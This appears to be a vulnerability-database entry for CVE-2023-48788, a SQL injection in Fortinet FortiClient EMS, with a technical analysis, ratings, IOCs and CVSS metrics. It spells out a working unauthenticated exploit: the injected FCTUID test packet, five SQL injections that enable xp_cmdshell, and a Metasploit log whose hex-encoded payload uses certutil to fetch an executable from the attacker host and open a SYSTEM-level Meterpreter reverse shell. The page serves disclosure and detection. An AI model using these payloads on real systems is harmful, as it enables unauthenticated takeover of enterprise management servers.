Attacker Value
Very High
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
4

CVE-2023-48788

Disclosure Date: March 12, 2024
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

A improper neutralization of special elements used in an sql command (‘sql injection’) in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.

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1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi vulnerability is due to user controller strings which can be sent directly into database queries.

Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable to SQLi. The SQLi can be used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. So technically the server, out of the box, is not vulnerable in its default configuration which usually diminishes an exploit’s attacker value. However, it’s quite unlikely that an Endpoint Management Server running in production would not be managing any endpoints so I personally think it still deserves a 5/5 for an Attacker Value and given the simplicity and unauthenticated nature of the exploit, 5/5 for Exploitability as well.

Testing SQLi

One can test the vulnerability by establishing a TCP socket with SSL enabled on port 8013 of an endpoint running FortiClient EMS. If you then send the following data on across the established connection, which injects the following SQL: ' OR 1=1; – into the vulnerable FCTID parameter:

MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; --
IP=127.0.0.1
MAC=86:fc:61:82:77:66
FCT_ONNET=0
CAPS=32767
VDOM=default
EC_QUARANTINED=0
SIZE=    1581

X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NDUzQzIwNzYtODA2Mi00NEEwLUExNUYtRTkxQzYzREVCMUJCCk5XSUZTPUV0aGVybmV0MHwyNTEuMjUxLjIyMC4yN3wxNTpiYzphZjowZDo0Yjo3M3wyNDIuMTI0LjE5Ny43Nnw3Nzo5ZTpiOTpjMTo5Njo4NnwxfCp8MApVVEM9MTcxMDI3MTc3NApQQ19ET01BSU49CkNPTV9NQU49Vk13YXJlLCBJbmMuCkNQVT1JbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjE1IENQVSBAIDIuNTBHSHoKTUVNPTEyMjg3CkhERD05OQpDT01fU049Vk13YXJlLTQyIDA0IGVkIDJkIDY0IGU4IDBiIDE0LTQ1IGU5IGU0IGY2IDVhIGM3IDY3IDgyCkRPTUFJTj0KV09SS0dST1VQPVdPUktHUk9VUApVU0VSX1NJRD1TLTEtNS0yMS0zMC0wLTMwLTUwMApHUk9VUF9UQUc9CkFER1VJRD0KRVBfRkdUQ0hLU1VNPTAKRVBfUlVMRUNIS1NVTT0wCldGX0ZJTEVTQ0hLU1VNPTAKRVBfQVBQQ1RSTENIS1NVTT0wCg==
X-FCCK-REGISTER-END

A vulnerable endpoint will return a response containing the string KA_INTERVAL like so:

FCKARPLY: CONT|1|EMSSN|FCTEMS0000125975:dc2.kerberos.issue|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1870228800|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.03303|SERIAL|6C68D8277A537F95521BB0C8310727DF46D3C97B|EMS_ONNET|0|ZHVR|eJzVmG1zojAQgL/fr8j5XYEAam8oHY/SlzmtnbbXzk3tMCkGTI3ghPjSf39RQLSlFG+sN35Rkt3N7j5JFhLjZD6iYIpZRMLguKLU5ArAgRv2SeAfVybcqzYrJ+Y3wwsZJy4lOOCOGwYe8ScMcWFjGomx2ajJtYYhpU1jjIQJom/UFUPKFxiDMOKOsCYecZOuEZo7HPmOR5G/sNxoL6VsQnHc1BN51mMsHqP4L/7NNNe0AjQS4u+P1mnrrvXYuQXXLJy/3g4wpeB+QgPM0DPFT0+mIcWqYWTOSNAPZ5EhiWfDZYSLsJFpeBjxCcOmO8XONDEllHCChWoqTPUXCQoEXCDN3Fv3dhXKUKmqCpQbS6crnQD7gssUm7KIJH0W8mw4KQuFL1JbsNoivUw9gy7H3TEqaTmqlAFdx6o1DgGrpkP1oLCq9YPAqjUODKtegPXGnhLqXHYtB8+3Y+kRisvC+9EbzkI2FJW2h3whqqXOdsrwfS454I7Kc9NKcXMZ3x+31NkXcUuHz+HWLM9NLcWNYZ9EnL06Q/y6FcDUsCTEi1/2H6fdtVptp9OyLi6v7N5t9+zuoXVj9x66D3VNhVdhH/d+UuQO2wJf1EFcjNb7StDvks8hXn6HF23w+84MMQymlsgCM3AmVh/4PaYh6oMqWFU1CGVZ33cpzZzulPK2GedV13r5b4Hid5Y9dwco8DG4sewN9/Wmvn/gK6e7fnd9nmYeZb18TSmg3OIURRFBAeieX7U3I4AiAkXV9gt63elOQZfNNI+1Vpo1LGB9TngbPQPLlmwbWOFohII+uAxesLs4xmzuL/g/Kgr8ioryL1nnzYFaeg6Kzm3XExph4V4cVEfL0yM4JZFLw0hwWsWiHFUVRVfkvc7AhtOdzsD2Oefxh6X5y0X1ZozcAQbt0Nde1ude0yBs7nvFZ053W2k+zTGPr/IhXym5oBB90ZrTdK1nVu9DQZQmn0uY4b4T38xEb2JInMXDSzn3K9LH1zp/AQpaQ/A=|HVCS|913c523b8b79d4714cbdb64e7cc6268c|TAGS|000000000000000000000000000000000000000000000000000|

Getting RCE

The SQLi injection can be used to obtain unauthenticated RCE on the vulnerable FortiClient EMS endpoint by enabling the xp_cmdshell. As demonstrated in the metasploit module, the following five SQL injections can be used to enable xp_cmdshell and then use it to execute a payload:

      "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",

When attempting to obtain RCE it was noticed that the application takes the command that you inject and transforms it to all uppercase characters (this can be seen in the logs included in the IOC section below). This breaks any attempt to Base64 encode a payload and then run it using master.dbo.xp_cmdshell powershell.exe -e <Base64 encoded payload> (as Base64 is case sensitive). Which is why the metasploit module encodes the payload in hex and then uses MSSQL to decode the payload before running it with xp_cmdshell.

Metasploit Module Demo

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options

Module options (exploit/windows/http/forticlient_ems_fctid_sqli):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.199.200   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8013             yes       The target port (TCP)
   VHOST                    no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FqgyHVSnYd       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               8383             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:8383
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[*] Sending stage (201798 bytes) to 172.16.199.200
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700

meterpreter > getuid
syServer username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 16
Meterpreter     : x64/windows
meterpreter >

IOCs

There are a number of files in C:\Program Files (x86)\Fortinet\FortiClientEMS\logs\ that will contain evidence of exploitation on a compromised host. The following excerpts were taking from fcmdaemon[2024-04-10 15-29-42].log and you can see the vulnerability being exploited as the FTCUID parameter CBE8FC122B1A46D18C3541E1A8EFF7BD' is being injected with SQL commands which enable the xp_cmdshell which is then used to launch calc.exe

"CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848228,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE';--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:30][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE ';--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

References

https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • fortinet

Products

  • forticlient enterprise management server

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis